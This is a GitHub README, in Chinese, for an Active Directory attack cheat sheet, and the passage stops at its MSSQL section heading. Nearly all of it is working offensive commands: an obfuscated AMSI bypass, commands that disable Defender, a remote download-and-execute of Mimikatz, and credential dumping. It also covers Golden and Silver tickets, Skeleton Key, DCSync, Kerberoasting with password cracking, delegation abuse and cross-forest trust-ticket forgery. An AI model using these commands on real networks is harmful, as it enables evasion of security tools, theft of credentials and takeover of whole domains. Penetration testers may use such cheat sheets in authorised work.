drak3hft7/Cheat-Sheet---Active-Directory

GitHub: drak3hft7/Cheat-Sheet---Active-Directory

一份覆盖 Windows Active Directory 枚举与攻击全流程的 PowerShell 实战命令速查表。

Stars: 638 | Forks: 108

![标题](images/title-ad.png '文本') 这份速查表包含了使用 powershell 对 Windows Active Directory 进行常见枚举和攻击的方法。 最后更新:*2026年4月3日* ## 目录 - [前置条件](#pre-requisites) - [PowerShell AMSI 绕过](#PowerShell-AMSI-Bypass) - [PowerShell 绕过执行策略](#PowerShell-Bypass-Execution-Policy) - [使用 PowerShellArmoury 进行规避和混淆](#Evasion-and-obfuscation-with-PowerShellArmoury) - [Windows Defender](#windows-defender) - [远程桌面](#remote-desktop) - [启用远程桌面](#Enable-Remote-Desktop) - [使用远程桌面登录](#login-with-remote-desktop) - [使用带有文件夹共享的远程桌面登录](#Login-with-remote-desktop-with-folder-sharing) - [枚举](#enumeration) - [用户枚举](#users-enumeration) - [Domain Admins 枚举](#domain-admins-enumeration) - [计算机枚举](#computers-enumeration) - [组和成员枚举](#groups-and-members-enumeration) - [共享枚举](#shares-enumeration) - [OUI 和 GPO 枚举](#oui-and-gpo-enumeration) - [ACL 枚举](#acls-enumeration) - [Domain Trust 映射](#domain-trust-mapping) - [Domain Forest 枚举](#domain-forest-enumeration) - [用户搜寻](#user-hunting) - [使用 BloodHound 枚举](#enumeration-with-bloodhound) - [图形化查询](#gui-graph-queries) - [控制台查询](#console-queries) - [本地提权](#local-privilege-escalation) - [横向移动](#lateral-movement) - [权限维持](#persistence) - [Golden Ticket](#golden-ticket) - [Silver Ticket](#silver-ticket) - [Skeleton Key](#skeleton-key) - [DCSync](#dcsync) - [特权升级](#privilege-escalation) - [Kerberoast](#kerberoast) - [针对性 Kerberoasting AS REPs](#targeted-Kerberoasting-AS-REPs) - [针对性 Kerberoasting Set SPN](#targeted-Kerberoasting-set-spn) - [Kerberos 委派](#kerberoast-delegation) - [非约束委派](#unconstrained-delegation) - [Printer Bug](#printer-bug) - [约束委派](#constrained-delegation) - [使用 Trust Tickets 从子域到父域](#Child-to-Parent-using-Trust-Tickets) - [使用 Krbtgt Hash 从子域到父域](#Child-to-Parent-using-krbtgt-hash) - [使用 Trust Tickets 跨 Forest](#Across-forest-using-trust-tickets) - [GenericAll 滥用](#GenericAll-Abused) - [MSSQL Servers 信任滥用](#trust-abuse-mssql-servers) - [Forest 持久化 DCShadow](#Forest-Persistence-DCShadow) ## 工具和脚本 - [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) - [PowerView 教程](https://powersploit.readthedocs.io/en/latest/Recon/) - [PowerView Dev](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) - [PowerShellArmoury](https://github.com/cfalta/PowerShellArmoury) - [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) - [HeidiSQL 客户端](https://github.com/HeidiSQL/HeidiSQL) - [AD 模块](https://github.com/samratashok/ADModule) - [PowerShell AMSI 绕过](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) - [Neo4j - 社区版](https://neo4j.com/download-center/#community) - [SharpHound](https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors) - [SharpHound 教程](https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound.html) - [BloodHound](https://github.com/BloodHoundAD/BloodHound) - [BloodHound-python](https://github.com/dirkjanm/BloodHound.py) - [Rubeus](https://github.com/GhostPack/Rubeus) - [MS-RPRN](https://github.com/leechristensen/SpoolSample) - [Kekeo](https://github.com/gentilkiwi/kekeo/) - [Mimikatz](https://github.com/gentilkiwi/mimikatz/) - [Kerbrute](https://github.com/ropnop/kerbrute/) ## 前置条件 ### 使用 PowerView: ``` . .\PowerView.ps1 ``` ### 使用 PowerView dev: ``` . .\PowerView_dev.ps1 ``` ### 使用 AD 模块 ``` Import-Module .\Microsoft.ActiveDirectory.Management.dll Import-Module .\ActiveDirectory\ActiveDirectory.psd1 ``` # PowerShell AMSI 绕过 ``` # AMSI bypass S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} ) ``` # PowerShell 绕过执行策略 ``` # 查看 Execution Policy Get-ExecutionPolicy # 按系统级别列出 Get-ExecutionPolicy -List | Format-Table -AutoSize # Bypass function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} Disable-ExecutionPolicy ``` **示例:** ![主 Logo](images/Example_execution-policy.PNG '示例执行策略') # 使用 PowerShellArmoury 进行规避和混淆 ### 创建一个 armoury ``` # 如果你想使用默认设置创建一个 armoury(注意:除了 base64 encoding 外,这根本不会进行任何 obfuscate) . .\New-PSArmoury.ps1 New-PSArmoury cat -raw .\MyArmoury.ps1 | iex ``` 参考:[这里](https://github.com/cfalta/PowerShellArmoury) # Windows Defender ### 禁用 Windows Defender ``` # 关闭 Set-MpPreference -DisableRealtimeMonitoring $true ``` ### 禁用 Windows Defender 并删除签名 ``` # 关闭 "c:\Program Files\Windows Defender\mpcmdrun.exe" -RemoveDefinitions -All Set-MpPreference -DisableIOAVProtection $true ``` **示例:** ![主 Logo](images/Example_Defender01.PNG '示例Defender') # 远程桌面 ### 启用远程桌面 ``` # 开启 Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0 ``` ### 使用远程桌面登录 ``` # Login rdesktop 172.16.20.20 -d corporate -u username -p password ``` ### 使用带有文件夹共享的远程桌面登录 ``` # Login rdesktop 172.16.20.20 -d corporate -u username -p password -r disk:sharename=//home/username/Desktop/Tools ``` ### 使用 xfreerdp 登录 ``` # Login xfreerdp /u:username /p:password /v:172.16.20.20 ``` ### 使用带有文件夹共享的 xfreerdp 登录 ``` # Login xfreerdp /u:username /p:password /v:172.16.20.20 /drive:/home/username/Desktop/Tools ``` # 枚举 ### 用户枚举 - **使用 PowerView**: ``` # 获取用户列表 Get-NetUser # 按 username 过滤 Get-NetUser -Username user01 # 从用户列表中获取 cn (common-name) Get-NetUser | select cn # 从用户列表中获取 name Get-NetUser | select name # 获取计算机上当前活跃的登录用户(需要对目标具有 local admin 权限) Get-NetLoggedon -ComputerName # 列出所有 properties Get-UserProperty # 显示上次设置密码的时间 Get-UserProperty –Properties pwdlastset # 显示账户创建时间 Get-UserProperty -Properties whencreated ``` - **使用 AD 模块**: ``` # 获取用户列表 Get-ADUser -Filter * # 获取用户及其 properties 列表 Get-ADUser -Filter * -Properties * # 列出用户的 samaccountname 和 description Get-ADUser -Filter * -Properties * | select Samaccountname,Description # 从 cn common-name 获取用户列表 Get-ADUser -Filter * -Properties * | select cn # 从 name 获取用户列表 Get-ADUser -Filter * -Properties * | select name # 显示密码设置时间 Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}} ``` ### Domain Admins 枚举 - **使用 PowerView:** ``` # 获取当前 domain Get-NetDomain # 从其他 domain 获取项目 Get-NetDomain -Domain corporate.local # 获取当前 domain 的 domain SID Get-DomainSID # 获取当前 domain 的 domain policy Get-DomainPolicy # 查看 Domain Admins Group 的 Attributes Get-NetGroup -GroupName "Domain Admins" -FullData # 获取 Domain Admins group 的 Members: Get-NetGroupMember -GroupName "Domain Admins" ``` - **使用 AD 模块:** ``` # 获取当前 domain Get-ADDomain # 从其他 domain 获取项目 Get-ADDomain -Identity corporate.local # 获取当前 domain 的 domain SID (Get-ADDomain).DomainSID # 获取当前 domain 的 domain policy (Get-DomainPolicy)."system access" ``` ### 计算机枚举 - **使用 PowerView:** ``` # 获取当前 domain 中的计算机列表 Get-NetComputer # 获取当前 domain 中的计算机及其完整数据列表 Get-NetComputer -FullData # 获取计算机列表并抓取其 operating system Get-NetComputer -FullData | select operatingsystem # 获取计算机列表并抓取其 name Get-NetComputer -FullData | select name # 发送 ping 以检查计算机是否存活(它们可能存活,但仍然不响应任何 ICMP echo request) Get-NetComputer -Ping ``` - **使用 AD 模块:** ``` # 获取当前 domain 中的计算机及其完整数据列表 Get-ADComputer -Filter * -Properties * # 获取计算机列表并抓取其 name 和 operating system Get-ADComputer -Filter * -Properties OperatingSystem | select name,OperatingSystem # 获取计算机列表并抓取其 name Get-ADComputer -Filter * | select Name ``` ### 组和成员枚举 - **使用 PowerView:** ``` # 关于 groups 的信息 Get-NetGroup # 获取 group name 中包含 "admin" 关键字的所有 groups Get-NetGroup *Admin* # 获取 "Domain Admins" group 的所有成员 Get-NetGroupMember -GroupName "Domain Admins" -Recurse # 以 "Enterprise Admins" group 查询根 domain,该 group 仅存在于 forest 的根中 Get-NetGroupMember -GroupName "Enterprise Admins" –Domain domainxxx.local # 获取 "user01" 的 group membership Get-NetGroup -UserName "user01" ``` - **使用 AD 模块:** ``` # 获取 group name 中包含 "admin" 关键字的所有 groups Get-ADGroup -Filter 'Name -like "*admin*"' | select Name # 获取 "Domain Admins" group 的所有成员 Get-ADGroupMember -Identity "Domain Admins" -Recursive # 获取 "user01" 的 group membership Get-ADPrincipalGroupMembership -Identity user01 ``` ### 共享枚举 - **使用 PowerView:** ``` # 在当前 domain 的主机上查找 shares Invoke-ShareFinder -Verbose # 在当前 domain 的计算机上查找敏感文件 Invoke-FileFinder -Verbose # 搜索 file servers。大量用户通常会登录到这类服务器 Get-NetFileServer # 查找 shares,排除 standard、print 和 ipc。 Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC –Verbose # 枚举当前用户有权限访问的 Domain Shares Find-DomainShare -CheckShareAccess # 查找 domain 中感兴趣的 shares,忽略 default shares,并检查访问权限 Find-DomainShare -ExcludeStandard -ExcludePrint -ExcludeIPC -CheckShareAccess ``` ### OUI 和 GPO 枚举 - **使用 PowerView:** ``` # 获取 domain 中的 organizational units Get-NetOU # 获取 domain 中的 organizational units 及其 name Get-NetOU | select name # 获取 domain 中的 organizational units 及其完整数据 Get-NetOU -FullData # 从 "ouiexample" 获取所有计算机。Ouiexample --> organizational Units Get-NetOU "ouiexample" | %{Get-NetComputer -ADSpath $_} # 检索当前 domain 中存在的 GPOs 列表 Get-NetGPO # 检索当前 domain 中存在的 GPOs 列表及其 displayname Get-NetGPO| select displayname # 获取目标计算机上的 GPO 列表 Get-NetGPO -ComputerName | select displayname # 查找对该机器拥有 local admin 权限的用户 Find-GPOComputerAdmin –Computername # 获取给定用户作为特定 group 成员的机器 Find-GPOLocation -Identity -Verbose # 枚举应用于 example OU 的 GPO Get-NetGPO -ADSpath 'LDAP://cn={example},CN=example' ``` - **使用 AD 模块:** ``` # 获取 domain 中的 organizational units Get-ADOrganizationalUnit -Filter * -Properties * ``` ### ACL 枚举 - **使用 PowerView:** ``` # 枚举 users group 的 ACLs Get-ObjectAcl -SamAccountName "users" -ResolveGUIDs # 枚举 Domain Admins group 的 ACLs Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs # 获取与特定前缀关联的 acl Get-ObjectAcl -ADSprefix 'CN=Administrator,CN=Users' -Verbose # 查找感兴趣的 ACLs Invoke-ACLScanner -ResolveGUIDs # 检查 user group 的修改 rights/permissions Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "user"} # 检查 RDPUsers group 的修改 rights/permissions Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "RDPusers"} # 检查 RDPUsers group 的修改 rights/permissions Invoke-ACLScanner | select ObjectDN,ActiveDirectoryRights,IdentityReferenceName # 为当前用户搜索感兴趣的 ACL's Invoke-ACLScanner | Where-Object {$_.IdentityReference –eq [System.Security.Principal.WindowsIdentity]::GetCurrent().Name} ``` ### Domain Trust 映射 - **使用 PowerView:** ``` # 获取当前 domain 内所有 trusts 的列表 Get-NetDomainTrust # 获取指定 domain 内所有 trusts 的列表 Get-NetDomainTrust -Domain us.domain.corporation.local # 获取其发现的每个 domain 的所有 trusts 列表 Get-DomainTrustMapping ``` **示例:** ![主 Logo](images/Example_trust01.PNG '示例01') - **使用 AD 模块:** ``` # 获取当前 domain 内所有 trusts 的列表 Get-ADTrust -Filter * # 获取指定 domain 内所有 trusts 的列表 Get-ADTrust -Identity us.domain.corporation.local ``` ### Domain Forest 枚举 - **使用 PowerView:** ``` # 获取当前 forest 中的所有 domains Get-NetForestDomain # 获取当前 forest 中的所有 domains Get-NetForestDomain -Forest corporation.local # 映射所有 trusts Get-NetForestDomain -Verbose | Get-NetDomainTrust # 仅映射外部 trusts Get-NetForestDomain -Verbose | Get-NetDomainTrust | ?{$_.TrustType -eq 'External'} ``` **示例:** ![主 Logo](images/Example_trust02.PNG '示例02') - **使用 AD 模块:** ``` # 获取当前 forest 中的所有 domains (Get-ADForest).Domains # 仅映射外部 trusts (Get-ADForest).Domains | %{Get-ADTrust -Filter '(intraForest -ne $True) -and (ForestTransitive -ne $True)' -Server $_} ``` ### 用户搜寻 - **使用 PowerView:** ``` # 查找当前 domain 上当前用户具有 local admin 访问权限的所有机器 Find-LocalAdminAccess -Verbose # 查找 domain 中所有机器上的 local admins Find-DomainLocalGroupMember -Verbose # 枚举所有可达机器 的 local group memberships Find-DomainLocalGroupMember -Domain # 查找已登录 domain administrator 的机器 Invoke-UserHunter # 确认以 administrator 身份访问机器 Invoke-UserHunter -CheckAccess ``` ### 使用 BloodHound 枚举 #### 前置条件 #### Neo4j: 链接:[Neo4j - 社区版](https://neo4j.com/download-center/#community) #### SharpHound: 链接:[SharpHound](https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors) #### BloodHound: 链接:[BloodHound](https://github.com/BloodHoundAD/BloodHound) #### BloodHound-python: 链接:[BloodHound-python](https://github.com/dirkjanm/BloodHound.py) ![标题](images/bloodhound.png 'bloodhound') **1. 安装并启动 neo4j 服务:** ``` # 安装 service .\neo4j.bat install-service # 启动 service .\neo4j.bat start ``` **2. 运行 BloodHound 收集器以收集有关当前域的数据和信息:** ``` # 收集数据和信息 . .\SharpHound.exe --CollectionMethod All # 收集数据和信息 Invoke-BloodHound -CollectionMethod All -Verbose ``` 或者 **3. 运行 BloodHound-python 收集器以收集有关当前域的数据和信息:** ``` # 收集数据和信息 python3 bloodhound.py -u username -p 'password' -ns x.x.x.x -d xxxx.local -c All ``` ### 图形化查询 ``` # 查找任何 owned user 在计算机上拥有的所有 edges match p=shortestPath((m:User)-[r]->(b:Computer)) WHERE m.owned RETURN p # 查找所有具有 SPN 的用户/查找所有 Kerberoastable Users match (n:User)WHERE n.hasspn=true # 查找用户可以 RDP 进入的 workstations match p=(g:Group)-[:CanRDP]->(c:Computer) where g.objectid ENDS WITH '-513' AND NOT c.operatingsystem CONTAINS 'Server' return p # 查找用户可以 RDP 进入的 servers match p=(g:Group)-[:CanRDP]->(c:Computer) where g.objectid ENDS WITH '-513' AND c.operatingsystem CONTAINS 'Server' return p # 查找所有具有 Unconstrained Delegation 的计算机 match (c:Computer {unconstraineddelegation:true}) return c # 查找过去 30 天内登录过的用户 match (u:User) WHERE u.lastlogon < (datetime().epochseconds - (30 * 86400)) and NOT u.lastlogon IN [-1.0, 0.0] return u # 查找特定 domain 中任何用户的所有 sessions match p=(m:Computer)-[r:HasSession]->(n:User {domain: "corporate.local"}) RETURN p # 查找所有 domain 计算机上的活跃用户 sessions match p1=shortestPath(((u1:User)-[r1:MemberOf*1..]->(g1:Group))) MATCH p2=(c:Computer)-[*1]->(u1) return p2 # 查看包含 'administrators' 关键字的所有 groups match (n:Group) WHERE n.name CONTAINS "administrators" return n # 查找 unprivileged users 是否有权限向 groups 添加成员 match (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AddMember*1..]->(m:Group)) return p ``` ### 控制台查询 ``` # 查找哪些 groups 可以 RDP match p=(m:Group)-[r:CanRDP]->(n:Computer) RETURN m.name, n.name ORDER BY m.name # 查找哪些 groups 可以重置密码 match p=(m:Group)-[r:ForceChangePassword]->(n:User) RETURN m.name, n.name ORDER BY m.name # 查找哪些 groups 具有 local admin 权限 match p=(m:Group)-[r:AdminTo]->(n:Computer) RETURN m.name, n.name ORDER BY m.name # 查找所有到不同 domain/forest 的连接 match (n)-[r]->(m) WHERE NOT n.domain = m.domain RETURN LABELS(n)[0],n.name,TYPE(r),LABELS(m)[0],m.name # 具有最多权限的 Kerberoastable Users match (u:User {hasspn:true}) OPTIONAL MATCH (u)-[:AdminTo]->(c1:Computer) OPTIONAL MATCH (u)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c2:Computer) WITH u,COLLECT(c1) + COLLECT(c2) AS tempVar UNWIND tempVar AS comps RETURN u.name,COUNT(DISTINCT(comps)) ORDER BY COUNT(DISTINCT(comps)) DESC # 查找过去 30 天内登录过的用户 match (u:User) WHERE u.lastlogon < (datetime().epochseconds - (30 * 86400)) and NOT u.lastlogon IN [-1.0, 0.0] RETURN u.name, u.lastlogon order by u.lastlogon # 查找 constrained delegation match (u:User)-[:AllowedToDelegate]->(c:Computer) RETURN u.name,COUNT(c) ORDER BY COUNT(c) DESC # 枚举所有 properties match (n:Computer) return properties(n) ``` # 本地提权 ### 使用 PowerUp: ``` . .\PowerUp.ps1 ``` 链接:[PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) ### BeRoot ``` .\beRoot.exe ``` 链接:[BeRoot](https://github.com/AlessandroZ/BeRoot/tree/master/Windows) ### PrivEsc ``` . .\privesc.ps1 ``` 链接:[PrivEsc](https://github.com/enjoiz/Privesc/blob/master/privesc.ps1) - **使用 PowerUp:** ``` # 执行所有检查 Invoke-AllChecks # 获取路径未加引号且名称中包含空格的 services Get-ServiceUnquoted -Verbose # 获取当前用户可以写入其 binary path 或更改其 binary 参数的 services Get-ModifiableServiceFile -Verbose # 获取当前用户可以修改其配置的 services Get-ModifiableService -Verbose # 让我们将当前的 domain user 添加到本地 Administrators group 中 Invoke-ServiceAbuse -Name 'software_xxx' -UserName 'corporate\student01' ``` - **使用 PrivEsc:** ``` # 执行所有检查 Invoke-Privesc ``` # 横向移动 - **Powershell 远程控制:** ``` # 在指定 server 上执行 whoami & hostname 命令 Invoke-Command -ScriptBlock {whoami;hostname} -ComputerName xxxx.corporate.corp.local # 在指定 server 上执行脚本 Git-PassHashes.ps1 Invoke-Command -FilePath C:\scripts\Get-PassHashes.ps1 -ComputerName xxxx.corporate.corp.local # 在当前机器上启用 Powershell Remoting Enable-PSRemoting # 启动一个新 session $sess = New-PSSession -ComputerName # 进入该 Session Enter-PSSession $sess Enter-PSSession -ComputerName Enter-PSSession -ComputerName -Sessions ``` - **Invoke-Mimikatz:** ``` # 从计算机 xxx.xxx.xxx.xxx 执行 Invoke-Mimikatz iex (iwr http://xxx.xxx.xxx.xxx/Invoke-Mimikatz.ps1 -UseBasicParsing) # "Over pass the hash" 从 hashes 生成 tokens Invoke-Mimikatz -Command '"sekurlsa::pth /user:admin /domain:corporate.corp.local /ntlm:x /run:powershell.exe"' ``` # 权限维持 ### Golden Ticket - **Invoke-Mimikatz:** ``` # 在 DC 上以 DA 身份执行 mimikatz 以获取 hashes Invoke-Mimikatz -Command '"lsadump::lsa /patch"' # Golden Ticket Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:corporate.corp.local /sid:S-1-5-21-1324567831-1543786197-145643786 /krbtgt:0c88028bf3aa6a6a143ed846f2be1ea4 id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"' ``` ### Silver Ticket - **Invoke-Mimikatz:** ``` # 用于 service HOST 的 Silver Ticket Invoke-Mimikatz -Command '"kerberos::golden /domain:corporate.corp.local /sid:S-1-5-21-1324567831-1543786197-145643786 /target:dcorp-dc.dollarcorp.moneycorp.local /service:HOST /rc4:0c88028bf3aa6a6a143ed846f2be1ea4 /user:Administrator /ptt"' ``` ### Skeleton Key - **Invoke-Mimikatz:** ``` # 用于注入 skeleton key 的命令 Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"'-ComputerName dcorp-dc.corporate.corp.local ``` ### DCSync - **使用 PowerView 和 Invoke-Mimikatz:** ``` # 检查 user01 是否具有这些权限 Get-ObjectAcl -DistinguishedName "dc=corporate,dc=corp,dc=local" -ResolveGUIDs | ? {($_.IdentityReference -match "user01") -and (($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))} # 如果你是 domain admin,你可以将这些权限授予任何用户 Add-ObjectAcl -TargetDistinguishedName "dc=corporate,dc=corp,dc=local" -PrincipalSamAccountName user01 -Rights DCSync -Verbose # 获取 krbtgt 的 hash Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"' ``` # 特权升级 ### Kerberoast **1. 使用 Powerview 枚举:** ``` # 使用 PowerView 查找用作 Service accounts 的用户账户 Get-NetUser SPN ``` **2. 使用 AD 模块枚举:** ``` # 查找用作 Service accounts 的用户账户 Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName ``` **3. 请求 TGS:** ``` # 请求 TGS - 阶段 1 Add-Type -AssemblyNAme System.IdentityModel # 请求 TGS - 阶段 2 New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.corp.corporate.local" # 检查 TGS 是否已被授予 klist ``` **4. 导出并破解 TGS:** ``` # 导出所有 tickets Invoke-Mimikatz -Command '"kerberos::list /export"' # 破解 Service account 密码 python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\3-40a10000-svcadmin@MSSQLSvc~dcorp-mgmt.corp.corporate.local-CORP.CORPORATE.LOCAL.kirbi ``` ### 针对性 Kerberoasting AS REPs **1. 使用 Powerview dev 版本枚举:** ``` # 枚举禁用 Kerberos Preauth 的账户 Get-DomainUser -PreauthNotRequired -Verbose # 使用 ACLs 枚举 RDPUsers 的权限 Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"} ``` **2. 使用 AD 模块枚举:** ``` # 枚举禁用 Kerberos Preauth 的账户 Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth # 为 test01 UAC settings 设置主动 pre-authentication Set-DomainObject -Identity test01 -XOR @{useraccountcontrol=4194304} -Verbose ``` **3. 请求加密的 AS REP 以便使用 John 进行离线暴力破解:** ``` # 请求加密的 AS REP Get-ASREPHash -UserName VPN1user -Verbose ``` ### 针对性 Kerberoasting Set SPN **1. 使用 Powerview dev 版本:** ``` # 检查 user01 是否已经拥有 SPN Get-DomainUser -Identity User01 | select serviceprincipalname # 为该用户设置 SPN Set-DomainObject -Identity User01 -Set @{serviceprincipalname='ops/whatever1'} ``` **2. 使用 AD 模块:** ``` # 检查 user01 是否已经拥有 SPN Get-ADUser -Identity User01 -Properties serviceprincipalname | select serviceprincipalname # 为该用户设置 SPN Set-ADUser -Identity User01 -ServicePrincipalNames @{Add='ops/whatever1'} ``` **3. 请求票据:** ``` # 步骤 1 - 请求 ticket Add-Type -AssemblyNAme System.IdentityModel # 步骤 2 - 请求 ticket New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1" # 检查 ticket 是否已被授予 klist ``` **示例:** ![主 Logo](images/Example_SPN01.png '示例03') **4. 导出所有票据并暴力破解密码:** ``` # 使用 Mimikatz 导出所有 tickets Invoke-Mimikatz -Command '"kerberos::list /export"' # 使用 tgsrepcrack 暴力破解密码 python.exe .\kerberoast\tgsrepcrack.py .\kerberoast\wordlists.txt '.\3-40a10000-user01@ops~whatever1-CORP.CORPORATE.LOCAL.kirbi' ``` ### Kerberos 委派 ### 非约束委派 **1. 使用 Powerview:** ``` # 搜索启用了 unconstrained delegation 的 domain computers Get-NetComputer -UnConstrained # 通过 property name 搜索启用了 unconstrained delegation 的 domain computers Get-NetComputer -Unconstrained | select -ExpandProperty name # 通过 property dnshostname 搜索启用了 unconstrained delegation 的 domain computers Get-NetComputer -Unconstrained | select -ExpandProperty dnshostname ``` **2. 使用 AD 模块:** ``` # 搜索启用了 unconstrained delegation 的 domain computers Get-ADComputer -Filter {TrustedForDelegation -eq $True} Get-ADUser -Filter {TrustedForDelegation -eq $True} ``` ### Printer Bug #### 前置条件 #### Rubeus: ``` .\Rubeus.exe ``` 链接:[Rubeus](https://github.com/GhostPack/Rubeus) #### Ms-rprn: ``` .\MS-RPRN.exe ``` 链接:[MS-RPRN](https://github.com/leechristensen/SpoolSample) **1. 捕获 TGT:** ``` # 开始监控任何 authentication .\Rubeus.exe monitor /interval:5 /nowrap ``` **2. 运行 MS-RPRN.exe:** ``` # 运行 MS-RPRN.exe 以滥用 printer bug .\MS-RPRN.exe \\dcorp.corp.corporate.local \\dcorp-appsrv.corp.corporate.local ``` **3. 复制 base64 编码的 TGT,去除多余空格:** ``` # 使用该 ticket .\Rubeus.exe ptt /ticket: ``` **4. 使用注入的票据针对 Corp 执行 DCSync 攻击:** ``` # 使用 Mimikatz 运行 DCSync Invoke-Mimikatz -Command '"lsadump::dcsync /user:corp\krbtgt"' ``` ### 约束委派 #### 前置条件 #### Kekeo: ``` .\kekeo.exe ``` 链接:[Kekeo](https://github.com/gentilkiwi/kekeo/) **1. 使用 Powerview dev 版本:** ``` # Users enumeration Get-DomainUser -TrustedToAuth # Computers Enumeration Get-DomainComputer -TrustedToAuth # 通过 property dnshostname 搜索启用了 unconstrained delegation 的 domain computers Get-NetComputer -Unconstrained | select -ExpandProperty dnshostname ``` **2. 使用 AD 模块:** ``` # 枚举启用了 constrained delegation 的 users 和 computers Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo ``` **3. 使用 Kekeo:** ``` # 请求 TGT tgt::ask /user: /domain: /rc4: # 请求 TGS /tgt: /user:Administrator@ /service:cifs/dcorp-mssql.dollarcorp.moneycorp.local # 使用 Mimikatz 注入 TGS Invoke-Mimikatz -Command '"kerberos::ptt "' ``` **4. 使用 Rubeus:** ``` # 请求 TGT 和 TGS .\Rubeus.exe s4u /user: /rc4: /impersonateuser:Administrator /msdsspn:"CIFS/" /ptt ``` ### 使用 Trust Tickets 从子域到父域 **1. 查找从子域到父域的 [入站] 信任密钥:** ``` # 查找从 child 到 parent 的 [In] trust key Invoke-Mimikatz -Command '"lsadump::trust /patch"' ``` **2. 创建跨域 TGT:** ``` # 创建 inter-realm TGT Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain: /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4: /service:krbtgt /target: /ticket:C:\\trust_tkt.kirbi"' ``` **3. 使用伪造的信任票据获取目标域中服务的 TGS:** ``` # 为 service 获取 TGS(下方的 CIFS) .\asktgs.exe C:\\trust_tkt.kirbi CIFS/mcorp-dc.corporate.local ``` **4. 使用 TGS 访问目标服务并检查:** ``` # 使用 TGS .\kirbikator.exe lsa .\CIFS.mcorp-dc.corporate.local.kirbi # 检查 ls \\mcorp dc.corporate.local\c$ ``` ### 使用 Krbtgt Hash 从子域到父域 **1. 查找从子域到父域的 [入站] 信任密钥:** ``` # 查找从 child 到 parent 的 [In] trust key Invoke-Mimikatz -Command '"lsadump::trust /patch"' ``` **2. 创建跨域 TGT:** ``` # 创建 inter-realm TGT Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain: /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /krbtgt: /ticket:C:\test\krbtgt_tkt.kirbi"' ``` **3. 使用 mimikatz 注入票据:** ``` # 注入 ticket Invoke-Mimikatz -Command '"kerberos::ptt C:\test\krbtgt_tkt.kirbi"' # 检查 gwmi -class win32_operatingsystem -ComputerName mcorp-dc.corporate.local ``` **示例:** ![主 Logo](images/Example_Child_to_parent01.PNG '示例04') ### 使用 Trust Tickets 跨 Forest **1. 请求跨 Forest 信任的信任密钥:** ``` # 请求 inter forest trust 的 trust key Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dcorp-dc.corp.corporate.local ``` **2. 创建跨域 TGT:** ``` # 创建 inter-realm TGT Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain: /sid:S-1-5-21-1874506631-3219952063-538504511 /rc4: /service:krbtgt /target:eurocorp.local /ticket:C:\test\kekeo_old\trust_forest_tkt.kirbi"' ``` **3. 使用伪造的信任票据获取目标域中服务(如下的 CIFS)的 TGS:** ``` # 为 service 获取 TGS .\asktgs.exe C:\test\trust_forest_tkt.kirbi CIFS/eurocorp-dc.corporate.local ``` **4. 将 TGS 提交给目标 Forest 中的服务(CIFS):** ``` # 出示 TGS .\kirbikator.exe lsa .\CIFS.eurocorp-dc.corporate.local.kirbi ``` ### GenericAll 滥用 ![主 Logo](images/Example_BloodHound_GenericAll.PNG '示例_Generic') **1. 使用 GenericAll 获得完全控制。修改密码的方法:** ``` # 用户密码修改 Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {net user mickey.mouse newpassword /domain} ``` # MSSQL Servers 信任滥用 #### 前置条件 #### 